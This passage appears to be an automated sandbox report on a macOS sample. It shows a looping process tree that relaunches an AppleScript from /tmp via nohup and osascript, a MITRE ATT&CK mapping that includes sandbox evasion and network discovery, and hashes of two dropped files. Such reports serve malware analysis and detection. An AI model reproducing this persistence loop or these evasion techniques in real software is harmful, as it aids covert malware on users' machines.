  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:949
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:949
- /bin/sleep
  sleep 1
  2⤵
  PID:952
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:951
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:951
- /bin/sleep
  sleep 1
  2⤵
  PID:954
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:953
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:953
- /bin/sleep
  sleep 1
  2⤵
  PID:956
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:955
- /bin/sleep
  sleep 1
  2⤵
  PID:958
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:957
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:957
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:959
- /bin/sleep
  sleep 1
  2⤵
  PID:960
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:959
- /bin/sleep
  sleep 1
  2⤵
  PID:964
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:963
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:963
- /bin/sleep
  sleep 1
  2⤵
  PID:966
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:965
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:965
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:967
- /bin/sleep
  sleep 1
  2⤵
  PID:968
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:967
- /bin/sleep
  sleep 1
  2⤵
  PID:970
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:969
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:969
- /bin/sleep
  sleep 1
  2⤵
  PID:972
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:971
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:971
- /bin/sleep
  sleep 1
  2⤵
  PID:974
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:973
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:973
- /bin/sleep
  sleep 1
  2⤵
  PID:976
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:975
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:975
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:977
- /bin/sleep
  sleep 1
  2⤵
  PID:978
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:977
- /bin/sleep
  sleep 1
  2⤵
  PID:980
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:979
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:979
- /bin/sleep
  sleep 1
  2⤵
  PID:982
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:981
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:981
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:985
- /bin/sleep
  sleep 1
  2⤵
  PID:986
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:985
- /bin/sleep
  sleep 1
  2⤵
  PID:988
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:987
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:987
- /bin/sleep
  sleep 1
  2⤵
  PID:990
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:989
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:989
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/sleep
  sleep 1
  2⤵
  PID:992
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:991
- /bin/sleep
  sleep 1
  2⤵
  PID:994
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:993
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:993
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:995
- /bin/sleep
  sleep 1
  2⤵
  PID:996
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:995
- /bin/sleep
  sleep 1
  2⤵
  PID:998
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:997
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:997
- /bin/sleep
  sleep 1
  2⤵
  PID:1000
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:999
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:999
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1001
- /bin/sleep
  sleep 1
  2⤵
  PID:1002
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1001
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1003
- /bin/sleep
  sleep 1
  2⤵
  PID:1004
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /bin/sleep
  sleep 1
  2⤵
  PID:1008
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1007
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /bin/sleep
  sleep 1
  2⤵
  PID:1010
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1009
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1009
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1011
- /bin/sleep
  sleep 1
  2⤵
  PID:1012
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /bin/sleep
  sleep 1
  2⤵
  PID:1014
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1013
- /bin/sleep
  sleep 1
  2⤵
  PID:1016
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1015
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1015
- /bin/sleep
  sleep 1
  2⤵
  PID:1018
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1017
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1017
- /bin/sleep
  sleep 1
  2⤵
  PID:1020
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1019
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1019
- /bin/sleep
  sleep 1
  2⤵
  PID:1022
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1021
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1021
- /bin/sleep
  sleep 1
  2⤵
  PID:1024
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1023
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1023
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1025
- /bin/sleep
  sleep 1
  2⤵
  PID:1026
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1025
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1029
- /bin/sleep
  sleep 1
  2⤵
  PID:1030
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1029
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1031
- /bin/sleep
  sleep 1
  2⤵
  PID:1032
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1031
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1033
- /bin/sleep
  sleep 1
  2⤵
  PID:1034
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1033
- /bin/sleep
  sleep 1
  2⤵
  PID:1036
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1035
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1035
- /bin/sleep
  sleep 1
  2⤵
  PID:1038
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1037
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1037
- /bin/sleep
  sleep 1
  2⤵
  PID:1040
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1039
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1039
- /bin/sleep
  sleep 1
  2⤵
  PID:1042
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1041
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1041
- /bin/sleep
  sleep 1
  2⤵
  PID:1044
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1043
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1043
- /bin/sleep
  sleep 1
  2⤵
  PID:1046
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1045
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1045
- /bin/sleep
  sleep 1
  2⤵
  PID:1048
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1047
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1047
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1051
- /bin/sleep
  sleep 1
  2⤵
  PID:1052
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1051
- /bin/sleep
  sleep 1
  2⤵
  PID:1054
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1053
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1053
- /bin/sleep
  sleep 1
  2⤵
  PID:1056
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1055
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1055
- /bin/sleep
  sleep 1
  2⤵
  PID:1058
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1057
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1057
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  - System Network Configuration Discovery
  PID:1059
- /bin/sleep
  sleep 1
  2⤵
  PID:1060
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1059
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1061
- /bin/sleep
  sleep 1
  2⤵
  PID:1062
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1061
- /bin/sleep
  sleep 1
  2⤵
  PID:1064
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1063
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1063
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1065
- /bin/sleep
  sleep 1
  2⤵
  PID:1066
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1065
- /bin/sleep
  sleep 1
  2⤵
  PID:1068
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1067
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1067
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1069
- /bin/sleep
  sleep 1
  2⤵
  PID:1070
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1069
- /bin/sleep
  sleep 1
  2⤵
  PID:1074
- /usr/bin/nohup
  nohup /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1073
- /usr/bin/osascript
  /usr/bin/osascript /tmp/lab_bmodule.applescript
  2⤵
  PID:1073

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

lab_bmodule.applescript

Path /tmp/lab_bmodule.applescript
Size 6KB
SHA256 c88830452ef8a7d540cb56dcfbc572813adf1d7897d6ddc953ae01be79c5dddb
MD5 4158298ef7f8853e573d4f866cf4ee8e
SHA1 2d423cd24100f15cc20cfb14148684cfcae89640
SHA512 e89b3a0b595c0b98ff7b4989c4836aaf2669e8e4c09ee76d8c4684d56af11d06a7ebece6f5a6ffe3407aa9bbd14f23da0cc6d80a326d9dfa86c87745978f3c6b
SSDEEP 96:SZBBvxFqUTJF/1jupTMWmK8WmrEU+tI+XG7gkw8l8q085GLij7g:mBBvuYT1juNME8NEU+tFG7gtC0IH/g
TLSH
T102D18417345555B8C299D41AD88381FADB1F8E3B4219256CB6ACC4FD3FA7B44A2F13E0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_fast_collect.sh

Path /tmp/lab_fast_collect.sh
Size 79KB
SHA256 d2a9f121d62057f5f3fd74aab66946512b0f7b0976c315f735464a408af29113
MD5 05959feba3b81dda8289c7ccf986a84f
SHA1 6c882504efe40b98a8e9201ac559296c015d3c58
SHA512 c3b913ff29114499ae4d837c5c623270b405f01dbf1bb509ff508407fbca802c21884a510147f5b5471971119668e1f620076108a2afb8f5670418216274fcf8
SSDEEP 1536:SMxSBKhDWo5Yo2nFAd3NheC43s9Zo2eR8kGl5V78HeNe7ZT7tkKW1n+FV8mc5xAf:SGB2sER8kIzzMZT7t3W1nw
TLSH
T122830893F59C8B7025ED867DD880243462C74A1B88693C90F09F79CC3F786A9B175A6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads